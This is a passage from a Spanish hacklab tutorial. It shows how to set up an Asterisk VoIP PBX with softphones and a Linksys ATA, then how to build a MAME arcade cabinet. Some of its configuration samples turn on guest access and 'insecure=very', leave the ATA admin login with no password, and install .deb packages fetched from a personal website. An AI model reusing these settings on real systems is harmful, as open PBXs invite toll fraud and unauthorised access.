conectar por teléfono los usuarios de Software VoIP, los usuarios de teléfonos convencional y celular usando un
software de centralita telefónica (PBX). Ejemplos: VoIPBuster, 12Voip (Betamax) Bonus!!: Comparacion de costes
en proveedores de Betamax: http://backsla.sh/betamax
http://es.wikipedia.org/wiki/VSP

Adaptador ATA Un adaptador analogico telefonico (ATA por sus siglas en ingles, Analog Telephony Adapter) es un
dispositivo utilizado para conectar una o mas lineas telefónicas estandar a una digital y/o sistema de telefonia no
estadar, como una red basada en Voz sobre IP. Ejemplo: Linksys SPA3102.
http://en.wikipedia.org/wiki/Analog_telephony_adapter

PSTN / RTB Se define la Red Telefónica Básica (RTB) como los conjuntos de elementos constituido por todos los
medios de transmisión y conmutación necesarios que permite enlazar a voluntad dos equipos terminales
mediante un circuito físico que se establece específicamente para la comunicación y que desaparece una vez
que se ha completado la misma. Se trata por tanto, de una red de telecomunicaciones conmutada.
http://es.wikipedia.org/wiki/Red_Telef%C3%B3nica_Conmutada

SIP Session Initiation Protocol (SIP o Protocolo de Inicio de Sesiones) es un protocolo desarrollado por el IETF
MMUSIC Working Group con la intención de ser el estándar para la iniciación, modificación y finalización de
sesiones interactivas de usuario donde intervienen elementos multimedia como el video, voz, mensajería
instantánea, juegos online y realidad virtual.
http://es.wikipedia.org/wiki/Session_Initiation_Protocol

IAXIAX (Inter-Asterisk eXchange protocol) es uno de los protocolos utilizado por Asterisk, un servidor PBX (central
telefónica) de código abierto patrocinado por Digium. Es utilizado para manejar conexiones VoIP entre servidores
Asterisk, y entre servidores y clientes que también utilizan protocolo IAX.
http://es.wikipedia.org/wiki/IAX

Que es Asterisk?
http://www.asterisk.org/

Asterisk es una aplicación de software libre (bajo licencia GPL) que proporciona funcionalidades de una central telefónica
(PBX). Como cualquier PBX, se puede conectar un número determinado de teléfonos para hacer llamadas entre sí e incluso
conectar a un proveedor deVoIP o bien a una RDSI tanto básicos como primarios.

Como se instala?
Lo instalaremos en Debian, una distribucion GNU/Linux. Para empezar actualizaremos los repositorios al listado mas reciente
de paquetes e instalaremos las actualizaciones pendientes

apt-get update

apt-get dist-upgrade

La forma mas facil y rapida de instalarlo, es con el siguiente comando:

aptitude install asterisk

Para inciar el Asterisk como demonio basta hacerlo con el siguiente comando:

/etc/init.d/asterisk start

Luego para pararlo:

/etc/init.d/asterisk stop

Por ultimo, para reiniciarlo:

/etc/init.d/asterisk restart

En caso de que queramos iniciarlo solo por un tiempo determinado y no todo el tiempo, debemos iniciarlo con el comando:

26
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

/usr/sbin/asterisk -vvvvc

Con esto iniciaremos la aplicacion e ingresaremos a la consola, [*CLI>]. Puedes ver como manejarte en ella en la seccion
“Consola y Logs“. En caso de que lo hayamos iniciado como demonio, para conectarnos a la consola deberemos hacerlo con
el mismo comando pero la opcion -r en vez de -c:

/usr/sbin/asterisk -vvvvr

Si queremos que inicie cada vez que arranque el ordenador tendremos que modificar el siguiente fichero:

nano /etc/default/asterisk

La siguiente linea:

RUNASTERISK=yes

Y como se configura esto?


Una vez que tengamos todo instalado podremos ojear los ficheros de configuracion de ejemplo que nos instalamos en los
ultimos pasos:

less /etc/asterisk/sip.conf

less /etc/asterisk/extension.conf

Estos ficheros son los que mas veremos en este tutorial. En sip.conf configuraremos los
clientes, peers o amigos (en jerga asteriskiana) que tendremos y en extensions.conf
nuestro DialPlan. Este es nuestro plan de llamadas: que hara cuando reciba una llamada
a tal extension, o que hara cuando un usuario intente llamar a alguna otra. Los otros
ficheros que hay en la carpeta /etc/asterisk son para todas las otras funcionalidades que
nos ofrece. Esta es la principal ventaja de Asterisk frente a las otras centralitas (PBX), que
desde el principio y modificando solo alguna linea de los ficheros podremos tener
funcionalidades impresionantes, como salas de conferencias (meetme.conf), buzon de
voz (voicemail.conf) y conexion con diferentes tipos de protocolos VoIP como SIP (en el
sip.conf) e IAX2 (iax.conf) . Vamos a ponernos a manos a la obra, para esto haremos una
copia de seguridad de los ficheros que ya tenemos.

mv /etc/asterisk/sip.conf /etc/asterisk/sip.conf.old

mv /etc/asterisk/extensions.conf /etc/asterisk/extensions.conf.old

sip.conf
Como ya dijimos, en este se configuran los diferentes usuarios, clientes y peers. Aqui es donde puede diferir mas nuestra
configuracion. Todos los ficheros de configuracion de Asterisk comienzan con la etiqueta [general], con las opciones globales
y luego cada etiqueta servira para cada uno de los clientes. Estos pueden ser desde clientes SIP de software aka softphone
(como el Ekiga o el Twinkle para GNU/Linux), un telefono SIP fisico, un adaptador ATA o un proveedor de telefonia SIP. Si
tenemos una tarjeta PCI FXS o FXO haremos las configuraciones en zapata.conf. En nuestro caso el hardware con el que
contamos es un adaptador ATA Linksys SPA302, Este se configura en la etiqueta [patio]. Tambien lo conectamos a un
proveedor de telefonia SIP llamado VoIPBuster, en la etiqueta [voipbuster] (si conoces uno con mejores precios dimelo a
isaac.hacksimov@patiomaravillas.net ;D) y creamos un usuario preparado para conectarlo por softphone (tanto con twinkle
como con ekiga) en la etiqueta [isaac]

[general]
context=default
useragent=
disallow=all
allow=gsm
allow=alaw
allow=ulaw
language=es
srvlookup=yes
tos_sip = cs3
tos_audio = ef
tos_video = af41
allowguest = yes
register = isaac.hacksimov:CONTRASENA@sip1.voipbuster.com:5060
[patio]

27
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

type=friend
host=dynamic
username=patio
secret=CONTRASENA
callerid="Patio Maravillas"
context=patio
qualify=yes
[voipbuster]
type=peer
host=sip1.voipbuster.com
username=isaac.hacksimov
fromuser=isaac.hacksimov
secret=CONTRASENA
context=voipbuster
insecure=port,invite
qualify=yes
canrein invite=no
[isaac]
type=friend
host=dynamic
username=isaac
secret=CONTRASENA
callerid="Dr. Isaac Hacksimov"
context=patio
mailbox=3000@default
qualify=yes
Vamos paso por paso:
[general]
context=default
useragent=
disallow=all
allow=gsm
allow=alaw
allow=ulaw
language=es
srvlookup=yes
tos_sip = cs3
tos_audio = ef
tos_video = af41
allowguest = yes
register = isaac.hacksimov:CONTRASENA@sip1.voipbuster.com:5060

Aqui le estamos diciendo el contexto en el que se encuentra esta etiqueta (esto lo volveremos a ver en el extensions.conf),
tambien que tipo de codecs estamos permitiendo (gsm, alaw, ulaw) y el idioma (espaniol, mas tarde instalaremos los
sonidos), La linea de register tiene los mismos datos que en la etiqueta [voipbuster]. Es necesario en algunos proveedores.
El adaptador ATA:
[patio]
type=friend
host=dynamic
username=patio
secret=CONTRASENA
callerid="Patio Maravillas"
context=patio
qualify=yes
En esta seccion le tendremos que poner la IP del adaptador, junto con el nombre y la contraseñOtro dato importante es el
contexto, en este caso es “patio”.

[voipbuster]
type=peer
host=sip1.voipbuster.com
username=isaac.hacksimov
fromuser=isaac.hacksimov
secret=CONTRASENA
context=voipbuster
insecure=port,invite
qualify=yes
canrein invite=no

¿GRATIS? “NADA EN LA VIDA ES GRATIS”


En este texto se utiliza la palabra gratis, cuando en realidad se quiere decir de bajo coste. Esto es asi ya que aunque no se
contrate el servicio con un proveedor SIP, aun asi se estan pagando ciertos gastos: el coste del ordenador sobre el que
funciona, electricidad, espacio, tarifa plana de Internet, etc. En definitiva: nada en la vida es gratis.

28
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

En esta etiqueta lo importante es el host, que es la URL que nos da nuestro proveedor cuando nos registramos.
Elegimos VoIPBuster por permitirnos hacer llamadas gratuitas a los siguientes paises por un plazo de 120 dias pagando 10
euros:
Andorra Chile Chipre Nueva
Francia Guam Rusia [moscow]
Australia Dinamarka Zelanda
Hong – Kong Italia Japon Rusia [st
Austria España Estonia Paises Bajos
(+mobile) Luxemburgo Petersburg]
Belgica Eu Estados Panama
Hungria Malasia Singapur
Canada Unidos Portugal
Irlanda IslandiaNoruega Sudcorea Suiza
Checa, (+mobile) Puerto Rico
Israel Taiwan
Republica Finlandia (+mobile)
¿Cual es el problema con VoIPBuster? Van cambiando el listado de paises sin avisar, por lo que es posible que nos quiten algo
de credito. Por ultimo configuramos otro usuario mas. Lo unico que difiere con los anteriores es el host, que es dinamico, esto
es decir que puede tener cualquier IP:

[isaac]
type=friend
host=dynamic
username=isaac
secret=CONTRASENA
callerid="Dr. Isaac Hacksimov"
context=patio
mailbox=3000@default
qualify=yes
extensions.conf
[general]
static=yes
writeprotect=yes
[globals]
CABINA=SIP/patio
VOIPBUSTER=SIP/voipbuster
ISAAC=SIP/isaac

Este es nuestro pequeño huevo de pascua. Aqui le decimos que atienda, que espere por 2 segundos, que reproduzca unos sonidos (la “introduccion a
los monos” y “algo va muy mal”), espere 2 segundos mas, reproduzca otro sonido (“monos” !!!!) y por ultimo cuelgue. El unico contexto que falta
poner en esta configuracion es [internacionales]. Al ser una configuracion tan larga y que tanta gente le puede dar uso decidimos liberarlo en una wiki
dedicada al mundo VoIP: voip-info.org. El link donde pueden ver las extensiones actualizadas para hacer llamadas a telefonos fijos (landlines/fixed
lines) esta aqui: LINKVOIPINFOINTERNACIONALES Todo eso se agregaria en el extensions.conf y tambien como includes del usuario al que queremos
habilitar las llamadas internacionales.

Configuracion del cliente Softphone


Veremos como conectarnos con dos clientes de software: Ekiga y Twinkle.

ekiga
Pordefecto muchas distribuciones GNU/Linux ya vienen instaladas con un cliente SIP, el Ekiga. En Ubuntu, este se encuentra
en Aplicaciones -> Internet -> Softphone Ekiga,
[img_assist|nid=1069|title=Ekiga|desc=|link=node|align=right|width=100|height=75]Crearemos una cuenta con lo que
hemos puesto en sip.conf, junto con la IP del servidor. En caso de tener que conectarse desde internet deberan abrirse los
puertos necesarios y poner la IP publica o el dominio que tengamos asociado a esta.

Protocolo: SIP
Registrador: 192.168.10.1
Usuario: isaac Contrasena±CONTRASENA

tiwnkle
Conectarse a traves de Twinkle es muy sencillo, solo hace falta instalarlo. Para Ubuntu/Debian basta con # sudo aptitude
install twinkle Aparecera en Aplicaciones -> Internet -> Twinkle. Lo abriremos y crearemos un perfil nuevo utilizando la
configuracion que hemos puesto en el fichero sip.conf. El Domain debe ser la IP donde esta nuestro servidor. Siguiendo el
ejemplo asi seria nuestra configuracion:

Your name: isaac


User name: isaac
Domain: 192.168.10.1
Realm: isaac
Authentication name: isaac
Password: CONTRASENA

Luego deberemos ver lo siguiente en el log del Twinkle: isaac, registration succeeded (expires = 3600 seconds)
Esto significa que ya estamos conectados !

29
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Configuracion del adaptador ATA


Para configurar el SPA-3102, con una linea de salida para hacer llamadas y otra de entrada/salida PSTN, es decir una linea
telefonica normal, vamos a hacer lo siguiente:
1. En un navegador ingresamos la IP del adaptador.
2. Nos dira “spa user” y nos pedira usuario y contraseñPondremos usuario “user” y sin contraseñEntraremos una pagina que
nos muestra informacióe la configuracióctual.
3. Vamos a la seccion de Administracion, en “Admin login”. Nos pedira nuevamente usuario y contraseñ”admin user”). Esta
vez ponemos como usuario “admin” y sin contraseñ/li>
4. Ya aqui nos pondemos a configurarlo:
En Voice -> System podremos cambiar la contraseñe acceso (User Password:). Dandole a “Advanced” podremos tambien
cambiar la contraseñel usuario Admin (Admin Password:)
En Router -> Wan Setup le pondremos una IP estatica dentro de nuestro rango de red. Aqui podremos tambien configurarlo
como router (“PPPoE Settings”)
En Voice -> Line 1 configuraremos nuestra linea para hacer llamadas. Tendremos que poner como minimo los siguientes
paramentros:

Line enable: yes SIP Port: 5060 Proxy: IPDELASTERISK Register: yes Display name: patio[img_assist|
nid=1142|title=Configurar adapatador ATA 3102 - 1|desc=|link=node|align=right|width=100|height=66]
Password: CONTRASENA Auth ID: patio User ID: patio Use Auth ID: patio Preferred Codec: G711a Use Pref
codec only: no

Esto en el Asterisk lo configuramos de la siguiente forma:

[patio]
ype=friend
host=IPDELCACHARRO
username=patio
secret=CONTRASENA
callerid="Patio Maravillas"
context=patio
qualify=yes
En Voice -> PSTN Line configuraremos nuestra linea PSTN para hacer y recibir llamadas.

Line Enable: yes SIP Port: 5061 [img_assist|nid=1143|title=Configurar adapatador ATA 3102 - 2|desc=|
link=node|align=left|width=100|height=77] Proxy: IPDELASTERISK Register: yes Display Name: pstn Password:
CONTRASENA Auth ID: pstn User ID: pstn Use Auth ID: no Preferred Codec: G711a Use Pref Codec Only: no

Esto en el Asterisk lo configuramos de la siguiente forma:

[pstn-spa3k]
type=peer
auth=md5
host=IPDELCACHARRO
port=5061
secret=CONTRASENA
username=pstn
fromuser=pstn
dtmfmode=rfc2833
context=incoming-pstn
insecure=very

Consola y Logs
Pronto veremos que la consola de Asterisk es completamente intuitiva y todo un aliado para resolver problemas.Para
conectarnos a la consola depende de como hayamos iniciado Asterisk. Primero comprobamos si esta corriendo con el
comando

ps auxf | grep asterisk

En caso de que no lo veamos deberemos conectarnos con el siguiente comando:

/usr/sbin/asterisk -vvvvc

30
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Por otro lado, si lo iniciamos como demonio, para conectarnos a la consola deberemos hacerlo con el mismo comando pero la
opcion -r en vez de -c:

/usr/sbin/asterisk -vvvvr

Si hay alguna duda sobre este punto, puedes leer la seccion “Iniciar/Parar Asterisk” Una vez dentro de la consola deberas ver
lo siguiente: [Nota: CLI significa Command Line Interface, Interfaz de Linea de Comandos]

*CLI>

Para empezar, cuando un usuario se conecte o se realize una llamada lo veremos ahi, por ejemplo cuando el usuario Isaac se conecto a traves del
Twinkle aparecio lo siguiente:

-- Registered SIP 'isaac' at 192.168.10.135 port 5060 expires 3600

-- Saved useragent "Twinkle/1.2" for peer isaac [Apr 5 20:01:20] NOTICE[8449]: chan_sip.c:12669 handle_response_peerpoke: Peer
'isaac' is now Reachable. (25ms / 2000ms)

Y cuando se desconecto:

Unregistered SIP 'isaac'

Cuando se conecto con Ekiga:

-- Registered SIP 'isaac' at 192.168.10.135 port 5061 expires 3600

-- Saved useragent "Ekiga/2.0.12" for peer isaac [Apr 5 20:10:27] NOTICE[8449]: chan_sip.c:12669 handle_response_peerpoke:
Peer 'isaac' is now Reachable. (32ms / 2000ms)

Cuando realizo un llamado al 666 [monkeys], vemos el DialPlan ejecutandose en tiempo real:

-- Executing [666@patio:1] Answer("SIP/isaac-089832b8", "") in new stack -- Executing [666@patio:2] Wait("SIP/isaac-


089832b8","2") in new stack -- Executing [666@patio:3] Playback("SIP/isaac-089832b8", "tt-monkeysintro") in new stack --
<SIP/isaac-089832b8> Playing 'tt-monkeysintro' (language 'es') -- Executing [666@patio:4] Playback("SIP/isaac-089832b8", "tt-
somethingwrong") in new stack -- <SIP/isaac-089832b8> Playing 'tt-somethingwrong' (language 'es') -- Executing [666@patio:5]
Wait("SIP/isaac-089832b8", "2") in new stack == Spawn extension (patio, 666, 5) exited non-zero on 'SIP/isaac-089832b8'

(No termino con todo porque el usuario colgo antes) Tambien podemos ver en que estado se encuentra nuestro proveedor:

*CLI> [Apr 5 20:18:36] NOTICE[28025]: chan_sip.c:12669 handle_response_peerpoke: Peer 'voipbuster' is now Reachable. (90ms /
2000ms)

Aparte de mostrarnos la informacion en tiempo real, tambien podremos pedirle informacion y cambiar la configuracion. Para aprender a movernos en
ella nuestro gran aliado sera la tecla TAB (tabulador). Con esta completaremos y veremos que opciones nos da cada comando, por ejemplo si
escribimos “sip show” y pulsamos TAB, veremos:

*CLI> sip show channel channels domains history inuse objects peer peers registry settings subscriptions user users

Lo que intuitivamente nos permite ver diferentes datos:

*CLI> sip show users Username Secret Accountcode Def.Context ACL NAT isaac CONTRASENA patio No RFC3581 patio CONTRASENA patio
No RFC3581

CLI> sip show registry Host Username Refresh State Reg.Time sip1.voipbuster.com:5060 isaac.hacksi 105 Registered Sun, 05 Apr
2009 20:18:36

*CLI> sip show peers Name/username Host Dyn Nat ACL Port Status isaac/isaac 192.168.10.135 D 5061 OK (4 ms)
voipbuster/isaac.hacksimo 194.221.62.198 5060 OK (90 ms) patio/patio (Unspecified) D 0 UNKNOWN 3 sip peers [Monitored: 2
online, 1 offline Unmonitored: 0 online, 0 offline]

Tambien podemos probar el DialPlan, por ejemplo con el comando “console dial 666″.

*CLI> console dial 666 No such extension '666' in context 'default'

En este caso no funcionara porque no tenemos ninguna extension configurada en el contexto default, pero para hacer pruebas es recomendable
ponerlas ahi (basta con ponerlas como include). Lo bueno de esto es que si el servidor tiene altavoces y microfono podremos probarlo sin necesidad de
nada mas.

31
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

MAME / Consola Recreativa


El proyecto consiste en montar una maquina recreativa con software libre, con su estructura de material reciclado y mandos
que se asemejan a las maquinas originales. Se le han instalado mas de 800 juegos, con una interface grafica desde el inicio
en el que se puede navegar a travez de screenshots.

Es muy importante el hecho de no tener que tener un teclado y raton conectado todo el tiempo y que la interaccion sea
mediante los mandos de la maquina. El emulador por el que nos decantamos fue el que ofrece el AdvanceProject .
Anteriormente habiamos probado otros frontends (LemonLancher, gxMame) pero el Advance nos parecio el mejor por la
simpleza, a la vez que permite una configuracion potente. Tambien lo positivo es que permite varios emuladores desde el
mismo frontend, por lo que aparte de MAME y NEOGEO se le puede poner Super Nintendo y Sega Mega Drive.

El proyecto que utilizamos: Advance Project


Juegos: mas de 800, de momento solo de MAME. Pueden agregarse de otros emus (ej zsnes)
Los joysticks son Digi-USB Joystick TopWay TP-U670, compatibles con GNU/Linux

La estructura
La estructura exterior (el mueble donde va alojado el pc) fue reciclado de dos puertas, recortado y
pintado rusticamente por diferentes artistas del centro social. El proyecto comenzo haciendo el
mueble en Diciembre 2007 y montandolo todo lo que se fue juntando en Julio 2008.

Los diferentes componentes que tiene son: la CPU (bautizada Courie), 2 joysticks con palanca,
pantalla plana amueblada, altavoces y la estructura de madera.

Las primeras versiones de la caja fue variando debido a la cantidad de golpes que recibia,
haciendola cada vez mas inestable. Los remaches y tornillos aun asi la han hecho sobrevivir a
mudanzas, desalojos, fiestas y demas eventos.

AdvanceProject
El software utilizado es el AdvanceProject, en particular el AdvMame y el AdvMenu. El primero
consiste en un emulador y el segundo es el frontend donde se muestran todos los juegos
disponibles. Imagenes aqui.
Se instalo sobre un Xubuntu 8.04 utilizando XFCE 4.4.2. Para instalar se usaron los paquetes .deb de este foro. Tambien se
siguieron las instrucciones de este tutorial.
Instalamos primero las dependencias:

sudo apt-get install libfreetype6 libexpat1 libsdl1.2debian-alsa wget

Luego descargamos los fichero .deb

wget http://david.dantoine.org/ficheros/ages/advancemame_0.106.0-586-6_i386.deb

wget http://david.dantoine.org/ficheros/ages/advancemenu_2.4.13-586-5_i386.deb

wget http://david.dantoine.org/ficheros/ages/advance-common_0.106.0-2_i386.deb

Y ponemos en una terminal:

sudo dpkg -i advancemame_0.106.0-586-6_i386.deb

sudo dpkg -i advancemenu_2.4.13-586-5_i386.deb

sudo dpkg -i advance-common_0.106.0-2_i386.deb

Una vez instalado ponemos

advmame

advmenu

32
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

Para que cree los ficheros de configuracion necesarios. Si nos equivocamos en algo de la configuracion podemos volver a
generarlos simplemente eliminando los ficheros

rm /home/user/.advance/advmame.rc

rm /home/user/.advance/advmenu.rc

Tambien se pueden regenerar poniendo

advmame –default

advmenu --default

Los cambios que se realizaron en los ficheros de configuracion .advance/advmame.rc y


.advance/advmenu son:

device_joystick auto

device_video_output fullscreen

input_map[coin1] joystick_button[0,8]

input_map[coin2] joystick_button[1,8]

input_map[start1] joystick_button[0,9]

input_map[start2] joystick_button[1,9]

input_map[misc_quiet] joystick_button[0,7]

video_interlace no

misc_quiet yes

Probamos que funcione el joystick aplicacion advj. Esto sirve para comprobar que cuando presionamos las teclas del joystick
el ordenador recibe la señal.

advj

Copiamos las roms de los juegos (los debemos descargar de internet) en la carpeta
.advance/roms

Copiamos las snapshots (capturas de pantallas) de los juegos (descargados de [http://www.mininova.org/tor/1223419]) en la


carpeta

.advance/snaps

TIPS
COINS

input_map[coin1] joystick_button[x,x]

START

input_map[start1] joystick_button[x,x]

EXIT

input_map[ui_cancel] joystick_button[x,x]

NOCERRARSE

misc_exit none

RESOLUCION

33
Oficina para la Liberacion Definitiva de las Tecnologías http://oldt.info

device_video_clock 10 - 150 / 30.5 - 60 / 55 – 130

echo video_restore no >> advmenu.rc

video_size 800

video_size 320

video_size 640

MUSICA

sound_background_loop_dir "mp3"

APAGAR

ui_command "Shutdown" halt

ui_command "Reset" reboot

RESOLUCION

device_video_output overlay

AUTOCOINSTART

simulate_event(coin1, 100); \

delay(300); \

simulate_event(start1, 100);

AUTOSTART

script_start2 wait(!event()); simulate_event(coin2, 100); delay(300); simulate_event(start2, 100);

34

S-ar putea să vă placă și